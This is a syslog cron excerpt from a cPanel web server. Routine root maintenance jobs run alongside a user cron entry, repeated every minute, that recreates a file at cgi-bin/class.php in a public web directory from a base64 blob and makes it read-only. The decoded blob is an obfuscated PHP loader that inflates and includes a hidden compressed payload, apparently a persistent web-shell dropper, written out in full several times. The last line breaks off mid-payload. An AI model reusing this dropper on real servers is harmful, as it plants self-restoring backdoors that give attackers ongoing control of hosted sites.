Sep  2 03:45:01 server CROND[10170]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:45:01 server CROND[10168]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:45:58 server run-parts(/etc/cron.daily)[11053]: finished imunify-antivirus.cron
Sep  2 03:45:58 server run-parts(/etc/cron.daily)[1691]: starting logclean
Sep  2 03:45:58 server run-parts(/etc/cron.daily)[11065]: finished logclean
Sep  2 03:45:58 server run-parts(/etc/cron.daily)[1691]: starting logrotate
Sep  2 03:45:59 server run-parts(/etc/cron.daily)[11077]: finished logrotate
Sep  2 03:45:59 server run-parts(/etc/cron.daily)[1691]: starting maldet
Sep  2 03:46:01 server CROND[11524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:46:01 server CROND[11526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:46:01 server CROND[11527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:47:01 server CROND[11948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:47:01 server CROND[11949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:47:01 server CROND[11950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:48:01 server CROND[12334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:48:01 server CROND[12335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:48:01 server CROND[12336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:49:01 server CROND[12739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:49:01 server CROND[12740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:49:01 server CROND[12741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:50:01 server CROND[13121]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:50:01 server CROND[13122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:50:01 server CROND[13124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:50:01 server CROND[13131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:50:01 server CROND[13135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:50:01 server CROND[13134]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 03:50:01 server CROND[13137]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:50:01 server CROND[13138]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:50:01 server CROND[13141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:50:18 server run-parts(/etc/cron.daily)[15177]: finished maldet
Sep  2 03:50:18 server run-parts(/etc/cron.daily)[1691]: starting man-db.cron
Sep  2 03:50:19 server run-parts(/etc/cron.daily)[15254]: finished man-db.cron
Sep  2 03:50:19 server anacron[20266]: Job `cron.daily' terminated
Sep  2 03:50:19 server anacron[20266]: Normal exit (1 job run)
Sep  2 03:51:01 server CROND[16329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:51:01 server CROND[16330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:51:01 server CROND[16331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:52:01 server CROND[16810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:52:01 server CROND[16811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:52:01 server CROND[16813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:53:01 server CROND[17193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:53:01 server CROND[17194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:53:01 server CROND[17195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:54:01 server CROND[17588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:54:01 server CROND[17589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:54:01 server CROND[17590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:55:01 server CROND[17996]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:55:01 server CROND[17998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:55:01 server CROND[18000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:55:01 server CROND[17997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:55:01 server CROND[18002]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:55:01 server CROND[17999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:55:01 server CROND[18003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:56:01 server CROND[18831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:56:01 server CROND[18832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:56:01 server CROND[18833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:57:01 server CROND[19309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:57:01 server CROND[19311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0